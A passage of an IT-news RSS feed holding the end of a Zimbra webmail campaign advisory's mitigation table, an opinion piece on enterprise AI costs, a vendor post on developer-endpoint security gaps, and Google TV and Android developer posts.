<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Avatar Aang: The Last Airbender is the ATLA Movie We Should Have Gotten in 2010]]></title>
<description><![CDATA[Commentary: Finally, we’re getting a new adventure with the original Team Avatar.]]></description>
<link>https://tsecurity.de/de/3694019/it-nachrichten/avatar-aang-the-last-airbender-is-the-atla-movie-we-should-have-gotten-in-2010/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694019/it-nachrichten/avatar-aang-the-last-airbender-is-the-atla-movie-we-should-have-gotten-in-2010/</guid>
<pubDate>Sat, 25 Jul 2026 16:17:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Commentary: Finally, we’re getting a new adventure with the original Team Avatar.]]></content:encoded>
</item>
<item>
<title><![CDATA[Increasing app discovery and engagement on Google TV]]></title>
<description><![CDATA[Posted by Paul Lammertsma, Developer Relations Engineer


  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer t...]]></description>
<link>https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693513/android-tipps/increasing-app-discovery-and-engagement-on-google-tv/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:47 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQn4lINBGbNGjb1HQYUpv_Z0-JdltXyHegoQ-Ukl5l9K2ef4BSjX8c_yu0EWlnHSJnia8oXZYWvMtKxCP9t9PlJmI9GFIy34UDVfMBkEIaz3KJegu0j2TsivMZZPHg9tkIlsyK4NWd0vEq5v1MfQUay8zJ9-2QgLDLBlkqYVxnY7BaYa3QBTVRE3NKxxQ/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><i>Posted by Paul Lammertsma, Developer Relations Engineer</i></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUUiNUfVyqYWETmRLzZjld7Nbk0wpVVqMlxvLssfmOzHDfOKdKI8vZkXau3HMhjkOKcXpeJ-K-JkXiKTLk9tG2XH-O5xPlj-AVfQBnelPGhzkOJwhmFeB3NqVssPj4Cnq9r1ZkAHh-44z-dq71bQOpjIz_8d1VF1m2nYs6azBGxNBrM2GOXm6uGJymbKk/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><br><i><br></i><p dir="ltr"><br></p>

<p dir="ltr">
  With over 300 million monthly active devices across Google TV and Android TV, it’s clear that the living room is a massive, distinct platform for apps to accelerate growth. Today, we’re excited to share Google TV features and developer tools designed to increase the discoverability of your content and prepare your app for future TV experiences.
</p>

<h2 dir="ltr">Drive discovery and engagement with Gemini</h2>

<p dir="ltr">
  Last year, we brought our AI voice assistant, <a href="https://blog.google/products-and-platforms/platforms/google-tv/gemini-google-tv/">Gemini</a>, to our platform, so that people can easily find what to watch, learn something new on the big screen, and get everyday tasks done with just their voice.
</p>

<p dir="ltr">
  Since launch, we’ve made <a href="https://blog.google/products-and-platforms/platforms/google-tv/new-gemini-features-march-2026/">improvements</a> to how Gemini provides tailored responses to questions. Gemini shares a mix of visuals, videos, and text to help users find what they need, when they need it. For our streaming partners, Gemini is a helpful discovery engine—pulling from your app's metadata to surface your relevant content to viewers.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN7u9KDZ7L8CIw5cVB_qdWf6PRcm86N8RsrlWPdEYsfwchPZwFBpMaajSqkPwXXAoBP0_v0GpQsWp4_gF_SsBC0DuZlN0qVystQ3fWmHs1qU6dKclljJaea-Phak7qEoGFiu_i3-dj0l7WmA7Tm7T2v8kERsfhKp6BCFs-7y7eSdxVWmFkpIzXYsceaJM/w640-h360/GTV%20Gemini%20-%20GOAT%20overview%20%5B10.8%20MB%5D.gif"></div>

<h2 dir="ltr">Declare support for pointing modality</h2>

<p dir="ltr">
  The TV experience that we once knew is changing. Gemini is changing the way we discover and stream content with voice, but how we use the remote is evolving, too.
</p>

<div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5hNXf8y8wwFxJAgZ0N4QwO5v6QUe7vn4Qy70-ndmo2iTye1qdhKP5WxKPJVwoPi0qdadX25BUJzxtLQZVAHXASOibVD0y3Xd_gFuOzp5GOIBwtXy_2jFa4lsTi4r1k6OzkTe5HyJGkOK-fNspRoo54mEA5IB8K4f0fVZ9UpgTWlringYByYxw3Bn_X1c/w640-h360/GTV%20Pointer%20Remote%20Demo_SHELL.gif"></div>

<p dir="ltr">
  Pointer remotes bring motion-controlled input to the big screen, unlocking faster user navigation across the Google TV Home page and within content-heavy apps. To ensure your app is ready for this shift and provides a great experience for all users, now is the time to start thinking about pointing input. Here’s how to get started:
</p>

<h4><span>1. Adapt your TV app UI Library</span></h4>
<p dir="ltr">
  You’ll need support for hover states, scrollable containers, and cursor clicks to enable pointer remote interactions for your app on Google TV. While implementation varies by UI stack, Jetpack Compose streamlines this transition, as most core components handle these multi-modal interactions natively out of the box.
</p>

<ol type="a">
  <li><strong>Hover state:</strong> Every focusable element on your screen (buttons, movie posters, setting toggles) needs a clear visual feedback mechanism for a hover state. This is often subtler than a focus state but critical for feedback.</li>
  <li><strong>Scrollable containers:</strong> Pointer remotes will also have a small circular touchpad for scrolling. Users can use this touchpad to scroll up or down, or left or right in your app. Your app will need to respond to touch events to scroll.</li>
  <li><strong>Cursor clicks:</strong> Many TV apps today expect a simple D-pad OKAY button “click.” With a pointer remote, a user may “click” on an element that’s not the D-pad focus state, but is instead from a hovered state (similar to a mouse click).</li>
</ol>

<h4><span>2. Test pointing interactions with a mouse today</span></h4>
<p dir="ltr">
  To see how your app handles hover, scroll, and clicks, simply connect a bluetooth mouse or wired mouse to your Google TV. Keep in mind that a mouse has more precise control, since users are closer to the screen and typically rest the mouse in a stable position. Pointer remotes can often be less precise, since users are sometimes 10 feet away from the screen, making rough gestures with the remote from their couch. As a TV designer or developer, you can mitigate this lack of input precision by having larger hover targets for elements.
</p>

<h4><span>3. Declare TV app support for pointer remotes on Google Play</span></h4>
<p dir="ltr">
  Finally, tell Google Play that your TV app is designed to work with a pointer. This ensures that users with pointer remotes will be able to easily find, install, and interact with your app.
</p>

<p dir="ltr">
  Within your AndroidManifest.xml, declare the meta-data tag, <span>android.software.leanback.</span><span>supports_touch</span>. This tag informs the platform that your TV app “spatially supports touch,” since pointer remotes simulate touch events from a distance.
</p>

<p dir="ltr"><strong><em>AndroidManifest.xml</em></strong></p>

<pre>&lt;manifest ...&gt;
    &lt;!-- Signal whether the app is adaptive or built just for TV --&gt;
    &lt;uses-feature android:name="android.software.leanback" android:required="true|false" /&gt;

    &lt;!-- Ensure the app can be installed on conventional TVs --&gt;
    &lt;uses-feature android:name="android.hardware.touchscreen" android:required="false" /&gt;

    &lt;!-- Signal whether the app supports pointer remotes --&gt;
    &lt;meta-data android:name="android.software.leanback.supports_touch" android:value="true|false"/&gt;

    &lt;application ...&gt;
        ...
    &lt;/application&gt;
&lt;/manifest&gt;
</pre>

<p dir="ltr"><strong>Tips:</strong></p><ul>
  <li>The <span>android.<strong>software</strong>.<strong>leanback</strong></span> feature declaration indicates that your app supports D-pad navigation and is intended for distribution only on TV devices via Google Play.</li>
  <li>The new software attribute of <span>android.software.leanback.</span><span>supports_touch</span> declares that in addition to D-pad, you have ensured that your TV app works well for pointer/cursor experiences via mouse (of today) and pointer remotes (of future).</li>
  <li>If you haven't already, now is the time to adopt <a href="https://developer.android.com/compose">Jetpack Compose</a>. Hover, scroll, and clicks are common input modalities that are supported on various form factors, and building your app with an adaptive UI framework enables code reusability and reduced maintenance.</li>
</ul>

<h2 dir="ltr">Onboard the Engage SDK</h2>
<p dir="ltr">
  The Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement.
</p>

<ul>
  <li><strong>Resumption:</strong> Partners can easily display a user's paused video within the 'Continue Watching' row from the Home page.</li>
  <li><strong>Entitlements:</strong> The Engage SDK streamlines entitlement management, which matches app content to user eligibility. Users appreciate this because they can enjoy personalized recommendations without needing to manually update all their subscription details. This allows partners to connect with users across multiple discovery points on Google TV.</li>
  <li><strong>Recommendations:</strong> The Engage SDK even highlights personalized recommendations based on content that users watched inside apps.</li>
</ul>

<p dir="ltr">
  It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. To get started, head to <a href="https://goo.gle/engage-tv">goo.gle/engage-tv</a> to learn more.
</p>

<p dir="ltr">
  We're excited to see how our latest Gemini experience and developer tools will optimize your discovery and drive user engagement on our platform.
</p>Explore this announcement and all Google I/O 2026 updates on <a href="https://io.google/2026/?utm_source=blogpost&amp;utm_medium=pr&amp;utm_campaign=devblogs&amp;utm_content=">io.google</a>.</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Eclipsa Video: HDR That Looks Right on Every Screen]]></title>
<description><![CDATA[Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics
We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squ...]]></description>
<link>https://tsecurity.de/de/3693501/android-tipps/eclipsa-video-hdr-that-looks-right-on-every-screen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693501/android-tipps/eclipsa-video-hdr-that-looks-right-on-every-screen/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:30 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
